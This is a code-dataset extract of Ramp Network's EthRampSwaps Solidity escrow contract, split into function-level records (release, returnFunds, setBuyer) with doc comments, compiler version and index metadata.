// any overflow security warnings can be safely ignored -- SWAP_LOCK_TIME_S is a small
// constant, so this won't overflow an uint32 until year 2106
// solium-disable-next-line security/no-block-members
swaps[newSwapHash] = uint32(block.timestamp) + SWAP_LOCK_TIME_S;
emit Claimed(claimFromHash, newSwapHash);
}
/**
* Swap release, which transfers the crypto asset to the receiver and removes the swap from
* the active swap mapping. Normally called by the swap's oracle after it confirms a matching
* wire transfer on sender's bank account. Can be also called by the sender, for example in case
* of a dispute, when the parties reach an agreement off-chain.
*
* Emits a `Released` event with the swap's hash.
*/
function release(
address _sender,
address payable _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash
) external statusAtLeast(Status.FINALIZE_ONLY) onlyOracleOrSender(_sender, _oracle) {
bytes32 swapHash = getSwapHash(
_sender, _receiver, _oracle, keccak256(_assetData), _paymentDetailsHash
);
requireSwapClaimed(swapHash);
// Delete the swap status before transfer, to avoid reentrancy attacks.
swaps[swapHash] = 0;
require(
sendAssetTo(_assetData, _receiver),
"failed to send asset to receiver"
);
if (msg.sender == _sender) {
emit SenderReleased(swapHash);
} else {
emit Released(swapHash);
}
}
/**
* Swap return, which transfers the crypto asset back to the sender and removes the swap from
* the active swap mapping. Can be called by the sender or the swap's oracle, but only if the
* swap is not claimed, or was claimed but the escrow lock time expired.
*
* Emits a `Returned` event with the swap's hash.
*/
function returnFunds(
address payable _sender,
address _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash
) external statusAtLeast(Status.RETURN_ONLY) onlyOracleOrSender(_sender, _oracle) {
bytes32 swapHash = getSwapHash(
_sender, _receiver, _oracle, keccak256(_assetData), _paymentDetailsHash
);
requireSwapUnclaimedOrExpired(swapHash);
// Delete the swap status before transfer, to avoid reentrancy attacks.
swaps[swapHash] = 0;
require(
sendAssetTo(_assetData, _sender),
"failed to send asset to sender"
);
if (msg.sender == _sender) {
emit SenderReturned(swapHash);
} else {
emit Returned(swapHash);
}
}
/**
* After the sender creates a swap, he can optionally call this function to restrict the swap
* to a particular receiver address. The swap can't then be claimed by any other receiver.
*
* Emits a `BuyerSet` event with the created swap hash and new swap hash, updated with
* receiver's address.
*/
function setBuyer(
address _sender,
address _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash
) external statusAtLeast(Status.ACTIVE) onlySender(_sender) {
bytes32 assetHash = keccak256(_assetData);
bytes32 oldSwapHash = getSwapHash(
_sender, address(0), _oracle, assetHash, _paymentDetailsHash
);
requireSwapUnclaimed(oldSwapHash);
bytes32 newSwapHash = getSwapHash(
_sender, _receiver, _oracle, assetHash, _paymentDetailsHash
);
requireSwapNotExists(newSwapHash);
swaps[oldSwapHash] = 0;
swaps[newSwapHash] = SWAP_UNCLAIMED;
emit BuyerSet(oldSwapHash, newSwapHash);
}
/**
* Given all valid swap details, returns its status. To check a swap with unset buyer,
* use `0x0` as the `_receiver` address. The return can be:
* 0: the swap details are invalid, swap doesn't exist, or was already released/returned.
* 1: the swap was created, and is not claimed yet.
* >1: the swap was claimed, and the value is a timestamp indicating end of its lock time.
*/
function getSwapStatus(
address _sender,
address _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash
) external view returns (uint32 status) {
bytes32 swapHash = getSwapHash(
_sender, _receiver, _oracle, keccak256(_assetData), _paymentDetailsHash
);
return swaps[swapHash];
}
/**
* Calculates the swap hash used to reference the swap in this contract's storage.
*/
function getSwapHash(
address _sender,
address _receiver,
address _oracle,
bytes32 assetHash,
bytes32 _paymentDetailsHash
) internal pure returns (bytes32 hash) {
return keccak256(
abi.encodePacked(
_sender, _receiver, _oracle, assetHash, _paymentDetailsHash
)
);
}
/**
* Returns the EIP712 typed hash for the struct:
* EIP712<Type>Swap {
* action: bytes32;
* sender: address;
* receiver: address;
* asset: asset data struct, see `getAssetTypedHash` in specific AssetAdapter contracts
* paymentDetailsHash: bytes32;
* }
*/
function getClaimTypedHash(
address _sender,
address _receiver,
bytes memory _assetData,
bytes32 _paymentDetailsHash
) internal view returns(bytes32 msgHash) {
bytes32 dataHash = keccak256(
abi.encode(
EIP712_SWAP_TYPEHASH,
bytes32("claim this swap"),
_sender,
_receiver,
getAssetTypedHash(_assetData),
_paymentDetailsHash
)
);
return keccak256(abi.encodePacked(bytes2(0x1901), EIP712_DOMAIN_HASH, dataHash));
}
function requireSwapNotExists(bytes32 swapHash) internal view {
require(swaps[swapHash] == 0, "swap already exists");
}
function requireSwapUnclaimed(bytes32 swapHash) internal view {
require(swaps[swapHash] == SWAP_UNCLAIMED, "swap already claimed or invalid");
}
function requireSwapClaimed(bytes32 swapHash) internal view {
require(swaps[swapHash] > MIN_ACTUAL_TIMESTAMP, "swap unclaimed or invalid");
}
function requireSwapUnclaimedOrExpired(bytes32 swapHash) internal view {
require(
// solium-disable-next-line security/no-block-members
(swaps[swapHash] > MIN_ACTUAL_TIMESTAMP && block.timestamp > swaps[swapHash]) ||
swaps[swapHash] == SWAP_UNCLAIMED,
"swap not expired or invalid"
);
}
} | /**
* The main contract managing Ramp Swaps escrows lifecycle: create, claim, release and return.
* Uses an abstract AssetAdapter to carry out the transfers and handle the particular asset data.
* With a corresponding off-chain protocol allows for atomic-swap-like transfer between
* fiat currencies and crypto assets.
*
* @dev an active swap is represented by a hash of its details, mapped to its escrow expiration
* timestamp. When the swap is created, but not yet claimed, its end time is set to SWAP_UNCLAIMED.
* The hashed swap details are:
* * address sender: the swap's creator, that sells the crypto asset;
* * address receiver: the user that buys the crypto asset, `0x0` until the swap is claimed;
* * address oracle: address of the oracle that handles this particular swap;
* * bytes assetData: description of the crypto asset, handled by an AssetAdapter;
* * bytes32 paymentDetailsHash: hash of the fiat payment details: account numbers, fiat value
* and currency, and the transfer reference (title), that can be verified off-chain.
*
* @author Ramp Network sp. z o.o.
*/ | NatSpecMultiLine | release | function release(
address _sender,
address payable _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash
) external statusAtLeast(Status.FINALIZE_ONLY) onlyOracleOrSender(_sender, _oracle) {
bytes32 swapHash = getSwapHash(
_sender, _receiver, _oracle, keccak256(_assetData), _paymentDetailsHash
);
requireSwapClaimed(swapHash);
// Delete the swap status before transfer, to avoid reentrancy attacks.
swaps[swapHash] = 0;
require(
sendAssetTo(_assetData, _receiver),
"failed to send asset to receiver"
);
if (msg.sender == _sender) {
emit SenderReleased(swapHash);
} else {
emit Released(swapHash);
}
}
| /**
* Swap release, which transfers the crypto asset to the receiver and removes the swap from
* the active swap mapping. Normally called by the swap's oracle after it confirms a matching
* wire transfer on sender's bank account. Can be also called by the sender, for example in case
* of a dispute, when the parties reach an agreement off-chain.
*
* Emits a `Released` event with the swap's hash.
*/ | NatSpecMultiLine | v0.5.3+commit.10d17f24 | bzzr://d60f7c96691c0355a0f4914b706eeb0282cc54115a30bb41824d7940071e939e | {
"func_code_index": [
6848,
7693
]
} | 8,822 |
|
EthRampSwaps | EthRampSwaps.sol | 0x5f1a08554f0dc0cf79852c564a10981ffbd7c8af | Solidity | AbstractRampSwaps | contract AbstractRampSwaps is Ownable, WithStatus, WithOracles, AssetAdapter {
/// @dev contract version, defined in semver
string public constant VERSION = "0.3.1";
/// @dev used as a special swap endTime value, to denote a yet unclaimed swap
uint32 internal constant SWAP_UNCLAIMED = 1;
uint32 internal constant MIN_ACTUAL_TIMESTAMP = 1000000000;
/// @notice how long are sender's funds locked from a claim until he can cancel the swap
uint32 internal constant SWAP_LOCK_TIME_S = 3600 * 24 * 7;
event Created(bytes32 indexed swapHash);
event BuyerSet(bytes32 indexed oldSwapHash, bytes32 indexed newSwapHash);
event Claimed(bytes32 indexed oldSwapHash, bytes32 indexed newSwapHash);
event Released(bytes32 indexed swapHash);
event SenderReleased(bytes32 indexed swapHash);
event Returned(bytes32 indexed swapHash);
event SenderReturned(bytes32 indexed swapHash);
/**
* @notice Mapping from swap details hash to its end time (as a unix timestamp).
* After the end time the swap can be cancelled, and the funds will be returned to the sender.
* Value `(SWAP_UNCLAIMED)` is used to denote that a swap exists, but has not yet been claimed
* by any receiver, and can also be cancelled until that.
*/
mapping (bytes32 => uint32) internal swaps;
/**
* @dev EIP712 type hash for the struct:
* EIP712Domain {
* name: string;
* version: string;
* chainId: uint256;
* verifyingContract: address;
* }
*/
bytes32 internal constant EIP712_DOMAIN_TYPEHASH = 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f;
bytes32 internal EIP712_DOMAIN_HASH;
constructor(uint256 _chainId) internal {
EIP712_DOMAIN_HASH = keccak256(
abi.encode(
EIP712_DOMAIN_TYPEHASH,
keccak256(bytes("RampSwaps")),
keccak256(bytes(VERSION)),
_chainId,
address(this)
)
);
}
/**
* Swap creation, called by the crypto sender. Checks swap parameters and ensures the crypto
* asset is locked on this contract.
* Additionally to the swap details, this function takes params v, r, s, which is checked to be
* an ECDSA signature of the swap hash made by the oracle -- to prevent users from creating
* swaps outside Ramp Network.
*
* Emits a `Created` event with the swap hash.
*/
function create(
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash,
uint8 v,
bytes32 r,
bytes32 s
)
external
payable
statusAtLeast(Status.ACTIVE)
isOracle(_oracle)
checkAssetType(_assetData)
returns
(bool success)
{
bytes32 swapHash = getSwapHash(
msg.sender, address(0), _oracle, keccak256(_assetData), _paymentDetailsHash
);
requireSwapNotExists(swapHash);
require(ecrecover(swapHash, v, r, s) == _oracle, "invalid swap oracle signature");
// Set up swap status before transfer, to avoid reentrancy attacks.
// Even if a malicious token is somehow passed to this function (despite the oracle
// signature of its details), the state of this contract is already fully updated,
// so it will behave correctly (as it would be a separate call).
swaps[swapHash] = SWAP_UNCLAIMED;
require(
lockAssetFrom(_assetData, msg.sender),
"failed to lock asset on escrow"
);
emit Created(swapHash);
return true;
}
/**
* Swap claim, called by the swap's oracle on behalf of the receiver, to confirm his interest
* in buying the crypto asset.
* Additional v, r, s parameters are checked to be the receiver's EIP712 typed data signature
* of the swap's details and a 'claim this swap' action -- which verifies the receiver's address
* and the authenthicity of his claim request. See `getClaimTypedHash` for description of the
* signed swap struct.
*
* Emits a `Claimed` event with the current swap hash and the new swap hash, updated with
* receiver's address. The current swap hash equal to the hash emitted in `create`, unless
* `setBuyer` was called in the meantime -- then the current swap hash is equal to the new
* swap hash, because the receiver's address was already set.
*/
function claim(
address _sender,
address _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash,
uint8 v,
bytes32 r,
bytes32 s
) external statusAtLeast(Status.ACTIVE) onlyOracle(_oracle) {
// Verify claim signature
bytes32 claimTypedHash = getClaimTypedHash(
_sender,
_receiver,
_assetData,
_paymentDetailsHash
);
require(ecrecover(claimTypedHash, v, r, s) == _receiver, "invalid claim receiver signature");
// Verify swap hashes
bytes32 oldSwapHash = getSwapHash(
_sender, address(0), _oracle, keccak256(_assetData), _paymentDetailsHash
);
bytes32 newSwapHash = getSwapHash(
_sender, _receiver, _oracle, keccak256(_assetData), _paymentDetailsHash
);
bytes32 claimFromHash;
// We want this function to be universal, regardless of whether `setBuyer` was called before.
// If it was, the hash is already changed
if (swaps[oldSwapHash] == 0) {
claimFromHash = newSwapHash;
requireSwapUnclaimed(newSwapHash);
} else {
claimFromHash = oldSwapHash;
requireSwapUnclaimed(oldSwapHash);
requireSwapNotExists(newSwapHash);
swaps[oldSwapHash] = 0;
}
// any overflow security warnings can be safely ignored -- SWAP_LOCK_TIME_S is a small
// constant, so this won't overflow an uint32 until year 2106
// solium-disable-next-line security/no-block-members
swaps[newSwapHash] = uint32(block.timestamp) + SWAP_LOCK_TIME_S;
emit Claimed(claimFromHash, newSwapHash);
}
/**
* Swap release, which transfers the crypto asset to the receiver and removes the swap from
* the active swap mapping. Normally called by the swap's oracle after it confirms a matching
* wire transfer on sender's bank account. Can be also called by the sender, for example in case
* of a dispute, when the parties reach an agreement off-chain.
*
* Emits a `Released` event with the swap's hash.
*/
function release(
address _sender,
address payable _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash
) external statusAtLeast(Status.FINALIZE_ONLY) onlyOracleOrSender(_sender, _oracle) {
bytes32 swapHash = getSwapHash(
_sender, _receiver, _oracle, keccak256(_assetData), _paymentDetailsHash
);
requireSwapClaimed(swapHash);
// Delete the swap status before transfer, to avoid reentrancy attacks.
swaps[swapHash] = 0;
require(
sendAssetTo(_assetData, _receiver),
"failed to send asset to receiver"
);
if (msg.sender == _sender) {
emit SenderReleased(swapHash);
} else {
emit Released(swapHash);
}
}
/**
* Swap return, which transfers the crypto asset back to the sender and removes the swap from
* the active swap mapping. Can be called by the sender or the swap's oracle, but only if the
* swap is not claimed, or was claimed but the escrow lock time expired.
*
* Emits a `Returned` event with the swap's hash.
*/
function returnFunds(
address payable _sender,
address _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash
) external statusAtLeast(Status.RETURN_ONLY) onlyOracleOrSender(_sender, _oracle) {
bytes32 swapHash = getSwapHash(
_sender, _receiver, _oracle, keccak256(_assetData), _paymentDetailsHash
);
requireSwapUnclaimedOrExpired(swapHash);
// Delete the swap status before transfer, to avoid reentrancy attacks.
swaps[swapHash] = 0;
require(
sendAssetTo(_assetData, _sender),
"failed to send asset to sender"
);
if (msg.sender == _sender) {
emit SenderReturned(swapHash);
} else {
emit Returned(swapHash);
}
}
/**
* After the sender creates a swap, he can optionally call this function to restrict the swap
* to a particular receiver address. The swap can't then be claimed by any other receiver.
*
* Emits a `BuyerSet` event with the created swap hash and new swap hash, updated with
* receiver's address.
*/
function setBuyer(
address _sender,
address _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash
) external statusAtLeast(Status.ACTIVE) onlySender(_sender) {
bytes32 assetHash = keccak256(_assetData);
bytes32 oldSwapHash = getSwapHash(
_sender, address(0), _oracle, assetHash, _paymentDetailsHash
);
requireSwapUnclaimed(oldSwapHash);
bytes32 newSwapHash = getSwapHash(
_sender, _receiver, _oracle, assetHash, _paymentDetailsHash
);
requireSwapNotExists(newSwapHash);
swaps[oldSwapHash] = 0;
swaps[newSwapHash] = SWAP_UNCLAIMED;
emit BuyerSet(oldSwapHash, newSwapHash);
}
/**
* Given all valid swap details, returns its status. To check a swap with unset buyer,
* use `0x0` as the `_receiver` address. The return can be:
* 0: the swap details are invalid, swap doesn't exist, or was already released/returned.
* 1: the swap was created, and is not claimed yet.
* >1: the swap was claimed, and the value is a timestamp indicating end of its lock time.
*/
function getSwapStatus(
address _sender,
address _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash
) external view returns (uint32 status) {
bytes32 swapHash = getSwapHash(
_sender, _receiver, _oracle, keccak256(_assetData), _paymentDetailsHash
);
return swaps[swapHash];
}
/**
* Calculates the swap hash used to reference the swap in this contract's storage.
*/
function getSwapHash(
address _sender,
address _receiver,
address _oracle,
bytes32 assetHash,
bytes32 _paymentDetailsHash
) internal pure returns (bytes32 hash) {
return keccak256(
abi.encodePacked(
_sender, _receiver, _oracle, assetHash, _paymentDetailsHash
)
);
}
/**
* Returns the EIP712 typed hash for the struct:
* EIP712<Type>Swap {
* action: bytes32;
* sender: address;
* receiver: address;
* asset: asset data struct, see `getAssetTypedHash` in specific AssetAdapter contracts
* paymentDetailsHash: bytes32;
* }
*/
function getClaimTypedHash(
address _sender,
address _receiver,
bytes memory _assetData,
bytes32 _paymentDetailsHash
) internal view returns(bytes32 msgHash) {
bytes32 dataHash = keccak256(
abi.encode(
EIP712_SWAP_TYPEHASH,
bytes32("claim this swap"),
_sender,
_receiver,
getAssetTypedHash(_assetData),
_paymentDetailsHash
)
);
return keccak256(abi.encodePacked(bytes2(0x1901), EIP712_DOMAIN_HASH, dataHash));
}
function requireSwapNotExists(bytes32 swapHash) internal view {
require(swaps[swapHash] == 0, "swap already exists");
}
function requireSwapUnclaimed(bytes32 swapHash) internal view {
require(swaps[swapHash] == SWAP_UNCLAIMED, "swap already claimed or invalid");
}
function requireSwapClaimed(bytes32 swapHash) internal view {
require(swaps[swapHash] > MIN_ACTUAL_TIMESTAMP, "swap unclaimed or invalid");
}
function requireSwapUnclaimedOrExpired(bytes32 swapHash) internal view {
require(
// solium-disable-next-line security/no-block-members
(swaps[swapHash] > MIN_ACTUAL_TIMESTAMP && block.timestamp > swaps[swapHash]) ||
swaps[swapHash] == SWAP_UNCLAIMED,
"swap not expired or invalid"
);
}
} | /**
* The main contract managing Ramp Swaps escrows lifecycle: create, claim, release and return.
* Uses an abstract AssetAdapter to carry out the transfers and handle the particular asset data.
* With a corresponding off-chain protocol allows for atomic-swap-like transfer between
* fiat currencies and crypto assets.
*
* @dev an active swap is represented by a hash of its details, mapped to its escrow expiration
* timestamp. When the swap is created, but not yet claimed, its end time is set to SWAP_UNCLAIMED.
* The hashed swap details are:
* * address sender: the swap's creator, that sells the crypto asset;
* * address receiver: the user that buys the crypto asset, `0x0` until the swap is claimed;
* * address oracle: address of the oracle that handles this particular swap;
* * bytes assetData: description of the crypto asset, handled by an AssetAdapter;
* * bytes32 paymentDetailsHash: hash of the fiat payment details: account numbers, fiat value
* and currency, and the transfer reference (title), that can be verified off-chain.
*
* @author Ramp Network sp. z o.o.
*/ | NatSpecMultiLine | returnFunds | function returnFunds(
address payable _sender,
address _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash
) external statusAtLeast(Status.RETURN_ONLY) onlyOracleOrSender(_sender, _oracle) {
bytes32 swapHash = getSwapHash(
_sender, _receiver, _oracle, keccak256(_assetData), _paymentDetailsHash
);
requireSwapUnclaimedOrExpired(swapHash);
// Delete the swap status before transfer, to avoid reentrancy attacks.
swaps[swapHash] = 0;
require(
sendAssetTo(_assetData, _sender),
"failed to send asset to sender"
);
if (msg.sender == _sender) {
emit SenderReturned(swapHash);
} else {
emit Returned(swapHash);
}
}
| /**
* Swap return, which transfers the crypto asset back to the sender and removes the swap from
* the active swap mapping. Can be called by the sender or the swap's oracle, but only if the
* swap is not claimed, or was claimed but the escrow lock time expired.
*
* Emits a `Returned` event with the swap's hash.
*/ | NatSpecMultiLine | v0.5.3+commit.10d17f24 | bzzr://d60f7c96691c0355a0f4914b706eeb0282cc54115a30bb41824d7940071e939e | {
"func_code_index": [
8053,
8907
]
} | 8,823 |
|
EthRampSwaps | EthRampSwaps.sol | 0x5f1a08554f0dc0cf79852c564a10981ffbd7c8af | Solidity | AbstractRampSwaps | contract AbstractRampSwaps is Ownable, WithStatus, WithOracles, AssetAdapter {
/// @dev contract version, defined in semver
string public constant VERSION = "0.3.1";
/// @dev used as a special swap endTime value, to denote a yet unclaimed swap
uint32 internal constant SWAP_UNCLAIMED = 1;
uint32 internal constant MIN_ACTUAL_TIMESTAMP = 1000000000;
/// @notice how long are sender's funds locked from a claim until he can cancel the swap
uint32 internal constant SWAP_LOCK_TIME_S = 3600 * 24 * 7;
event Created(bytes32 indexed swapHash);
event BuyerSet(bytes32 indexed oldSwapHash, bytes32 indexed newSwapHash);
event Claimed(bytes32 indexed oldSwapHash, bytes32 indexed newSwapHash);
event Released(bytes32 indexed swapHash);
event SenderReleased(bytes32 indexed swapHash);
event Returned(bytes32 indexed swapHash);
event SenderReturned(bytes32 indexed swapHash);
/**
* @notice Mapping from swap details hash to its end time (as a unix timestamp).
* After the end time the swap can be cancelled, and the funds will be returned to the sender.
* Value `(SWAP_UNCLAIMED)` is used to denote that a swap exists, but has not yet been claimed
* by any receiver, and can also be cancelled until that.
*/
mapping (bytes32 => uint32) internal swaps;
/**
* @dev EIP712 type hash for the struct:
* EIP712Domain {
* name: string;
* version: string;
* chainId: uint256;
* verifyingContract: address;
* }
*/
bytes32 internal constant EIP712_DOMAIN_TYPEHASH = 0x8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f;
bytes32 internal EIP712_DOMAIN_HASH;
constructor(uint256 _chainId) internal {
EIP712_DOMAIN_HASH = keccak256(
abi.encode(
EIP712_DOMAIN_TYPEHASH,
keccak256(bytes("RampSwaps")),
keccak256(bytes(VERSION)),
_chainId,
address(this)
)
);
}
/**
* Swap creation, called by the crypto sender. Checks swap parameters and ensures the crypto
* asset is locked on this contract.
* Additionally to the swap details, this function takes params v, r, s, which is checked to be
* an ECDSA signature of the swap hash made by the oracle -- to prevent users from creating
* swaps outside Ramp Network.
*
* Emits a `Created` event with the swap hash.
*/
function create(
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash,
uint8 v,
bytes32 r,
bytes32 s
)
external
payable
statusAtLeast(Status.ACTIVE)
isOracle(_oracle)
checkAssetType(_assetData)
returns
(bool success)
{
bytes32 swapHash = getSwapHash(
msg.sender, address(0), _oracle, keccak256(_assetData), _paymentDetailsHash
);
requireSwapNotExists(swapHash);
require(ecrecover(swapHash, v, r, s) == _oracle, "invalid swap oracle signature");
// Set up swap status before transfer, to avoid reentrancy attacks.
// Even if a malicious token is somehow passed to this function (despite the oracle
// signature of its details), the state of this contract is already fully updated,
// so it will behave correctly (as it would be a separate call).
swaps[swapHash] = SWAP_UNCLAIMED;
require(
lockAssetFrom(_assetData, msg.sender),
"failed to lock asset on escrow"
);
emit Created(swapHash);
return true;
}
/**
* Swap claim, called by the swap's oracle on behalf of the receiver, to confirm his interest
* in buying the crypto asset.
* Additional v, r, s parameters are checked to be the receiver's EIP712 typed data signature
* of the swap's details and a 'claim this swap' action -- which verifies the receiver's address
* and the authenthicity of his claim request. See `getClaimTypedHash` for description of the
* signed swap struct.
*
* Emits a `Claimed` event with the current swap hash and the new swap hash, updated with
* receiver's address. The current swap hash equal to the hash emitted in `create`, unless
* `setBuyer` was called in the meantime -- then the current swap hash is equal to the new
* swap hash, because the receiver's address was already set.
*/
function claim(
address _sender,
address _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash,
uint8 v,
bytes32 r,
bytes32 s
) external statusAtLeast(Status.ACTIVE) onlyOracle(_oracle) {
// Verify claim signature
bytes32 claimTypedHash = getClaimTypedHash(
_sender,
_receiver,
_assetData,
_paymentDetailsHash
);
require(ecrecover(claimTypedHash, v, r, s) == _receiver, "invalid claim receiver signature");
// Verify swap hashes
bytes32 oldSwapHash = getSwapHash(
_sender, address(0), _oracle, keccak256(_assetData), _paymentDetailsHash
);
bytes32 newSwapHash = getSwapHash(
_sender, _receiver, _oracle, keccak256(_assetData), _paymentDetailsHash
);
bytes32 claimFromHash;
// We want this function to be universal, regardless of whether `setBuyer` was called before.
// If it was, the hash is already changed
if (swaps[oldSwapHash] == 0) {
claimFromHash = newSwapHash;
requireSwapUnclaimed(newSwapHash);
} else {
claimFromHash = oldSwapHash;
requireSwapUnclaimed(oldSwapHash);
requireSwapNotExists(newSwapHash);
swaps[oldSwapHash] = 0;
}
// any overflow security warnings can be safely ignored -- SWAP_LOCK_TIME_S is a small
// constant, so this won't overflow an uint32 until year 2106
// solium-disable-next-line security/no-block-members
swaps[newSwapHash] = uint32(block.timestamp) + SWAP_LOCK_TIME_S;
emit Claimed(claimFromHash, newSwapHash);
}
/**
* Swap release, which transfers the crypto asset to the receiver and removes the swap from
* the active swap mapping. Normally called by the swap's oracle after it confirms a matching
* wire transfer on sender's bank account. Can be also called by the sender, for example in case
* of a dispute, when the parties reach an agreement off-chain.
*
* Emits a `Released` event with the swap's hash.
*/
function release(
address _sender,
address payable _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash
) external statusAtLeast(Status.FINALIZE_ONLY) onlyOracleOrSender(_sender, _oracle) {
bytes32 swapHash = getSwapHash(
_sender, _receiver, _oracle, keccak256(_assetData), _paymentDetailsHash
);
requireSwapClaimed(swapHash);
// Delete the swap status before transfer, to avoid reentrancy attacks.
swaps[swapHash] = 0;
require(
sendAssetTo(_assetData, _receiver),
"failed to send asset to receiver"
);
if (msg.sender == _sender) {
emit SenderReleased(swapHash);
} else {
emit Released(swapHash);
}
}
/**
* Swap return, which transfers the crypto asset back to the sender and removes the swap from
* the active swap mapping. Can be called by the sender or the swap's oracle, but only if the
* swap is not claimed, or was claimed but the escrow lock time expired.
*
* Emits a `Returned` event with the swap's hash.
*/
function returnFunds(
address payable _sender,
address _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash
) external statusAtLeast(Status.RETURN_ONLY) onlyOracleOrSender(_sender, _oracle) {
bytes32 swapHash = getSwapHash(
_sender, _receiver, _oracle, keccak256(_assetData), _paymentDetailsHash
);
requireSwapUnclaimedOrExpired(swapHash);
// Delete the swap status before transfer, to avoid reentrancy attacks.
swaps[swapHash] = 0;
require(
sendAssetTo(_assetData, _sender),
"failed to send asset to sender"
);
if (msg.sender == _sender) {
emit SenderReturned(swapHash);
} else {
emit Returned(swapHash);
}
}
/**
* After the sender creates a swap, he can optionally call this function to restrict the swap
* to a particular receiver address. The swap can't then be claimed by any other receiver.
*
* Emits a `BuyerSet` event with the created swap hash and new swap hash, updated with
* receiver's address.
*/
function setBuyer(
address _sender,
address _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash
) external statusAtLeast(Status.ACTIVE) onlySender(_sender) {
bytes32 assetHash = keccak256(_assetData);
bytes32 oldSwapHash = getSwapHash(
_sender, address(0), _oracle, assetHash, _paymentDetailsHash
);
requireSwapUnclaimed(oldSwapHash);
bytes32 newSwapHash = getSwapHash(
_sender, _receiver, _oracle, assetHash, _paymentDetailsHash
);
requireSwapNotExists(newSwapHash);
swaps[oldSwapHash] = 0;
swaps[newSwapHash] = SWAP_UNCLAIMED;
emit BuyerSet(oldSwapHash, newSwapHash);
}
/**
* Given all valid swap details, returns its status. To check a swap with unset buyer,
* use `0x0` as the `_receiver` address. The return can be:
* 0: the swap details are invalid, swap doesn't exist, or was already released/returned.
* 1: the swap was created, and is not claimed yet.
* >1: the swap was claimed, and the value is a timestamp indicating end of its lock time.
*/
function getSwapStatus(
address _sender,
address _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash
) external view returns (uint32 status) {
bytes32 swapHash = getSwapHash(
_sender, _receiver, _oracle, keccak256(_assetData), _paymentDetailsHash
);
return swaps[swapHash];
}
/**
* Calculates the swap hash used to reference the swap in this contract's storage.
*/
function getSwapHash(
address _sender,
address _receiver,
address _oracle,
bytes32 assetHash,
bytes32 _paymentDetailsHash
) internal pure returns (bytes32 hash) {
return keccak256(
abi.encodePacked(
_sender, _receiver, _oracle, assetHash, _paymentDetailsHash
)
);
}
/**
* Returns the EIP712 typed hash for the struct:
* EIP712<Type>Swap {
* action: bytes32;
* sender: address;
* receiver: address;
* asset: asset data struct, see `getAssetTypedHash` in specific AssetAdapter contracts
* paymentDetailsHash: bytes32;
* }
*/
function getClaimTypedHash(
address _sender,
address _receiver,
bytes memory _assetData,
bytes32 _paymentDetailsHash
) internal view returns(bytes32 msgHash) {
bytes32 dataHash = keccak256(
abi.encode(
EIP712_SWAP_TYPEHASH,
bytes32("claim this swap"),
_sender,
_receiver,
getAssetTypedHash(_assetData),
_paymentDetailsHash
)
);
return keccak256(abi.encodePacked(bytes2(0x1901), EIP712_DOMAIN_HASH, dataHash));
}
function requireSwapNotExists(bytes32 swapHash) internal view {
require(swaps[swapHash] == 0, "swap already exists");
}
function requireSwapUnclaimed(bytes32 swapHash) internal view {
require(swaps[swapHash] == SWAP_UNCLAIMED, "swap already claimed or invalid");
}
function requireSwapClaimed(bytes32 swapHash) internal view {
require(swaps[swapHash] > MIN_ACTUAL_TIMESTAMP, "swap unclaimed or invalid");
}
function requireSwapUnclaimedOrExpired(bytes32 swapHash) internal view {
require(
// solium-disable-next-line security/no-block-members
(swaps[swapHash] > MIN_ACTUAL_TIMESTAMP && block.timestamp > swaps[swapHash]) ||
swaps[swapHash] == SWAP_UNCLAIMED,
"swap not expired or invalid"
);
}
} | /**
* The main contract managing Ramp Swaps escrows lifecycle: create, claim, release and return.
* Uses an abstract AssetAdapter to carry out the transfers and handle the particular asset data.
* With a corresponding off-chain protocol allows for atomic-swap-like transfer between
* fiat currencies and crypto assets.
*
* @dev an active swap is represented by a hash of its details, mapped to its escrow expiration
* timestamp. When the swap is created, but not yet claimed, its end time is set to SWAP_UNCLAIMED.
* The hashed swap details are:
* * address sender: the swap's creator, that sells the crypto asset;
* * address receiver: the user that buys the crypto asset, `0x0` until the swap is claimed;
* * address oracle: address of the oracle that handles this particular swap;
* * bytes assetData: description of the crypto asset, handled by an AssetAdapter;
* * bytes32 paymentDetailsHash: hash of the fiat payment details: account numbers, fiat value
* and currency, and the transfer reference (title), that can be verified off-chain.
*
* @author Ramp Network sp. z o.o.
*/ | NatSpecMultiLine | setBuyer | function setBuyer(
address _sender,
address _receiver,
address _oracle,
bytes calldata _assetData,
bytes32 _paymentDetailsHash
) external statusAtLeast(Status.ACTIVE) onlySender(_sender) {
bytes32 assetHash = keccak256(_assetData);
bytes32 oldSwapHash = getSwapHash(
_sender, address(0), _oracle, assetHash, _paymentDetailsHash
);
requireSwapUnclaimed(oldSwapHash);
bytes32 newSwapHash = getSwapHash(
_sender, _receiver, _oracle, assetHash, _paymentDetailsHash
);
requireSwapNotExists(newSwapHash);
swaps[oldSwapHash] = 0;
swaps[newSwapHash] = SWAP_UNCLAIMED;
emit BuyerSet(oldSwapHash, newSwapHash);
}
| /**
* After the sender creates a swap, he can optionally call this function to restrict the swap
* to a particular receiver address. The swap can't then be claimed by any other receiver.
*
* Emits a `BuyerSet` event with the created swap hash and new swap hash, updated with
* receiver's address.
*/ | NatSpecMultiLine | v0.5.3+commit.10d17f24 | bzzr://d60f7c96691c0355a0f4914b706eeb0282cc54115a30bb41824d7940071e939e | {
"func_code_index": [
9251,
10029
]
} | 8,824 |
|
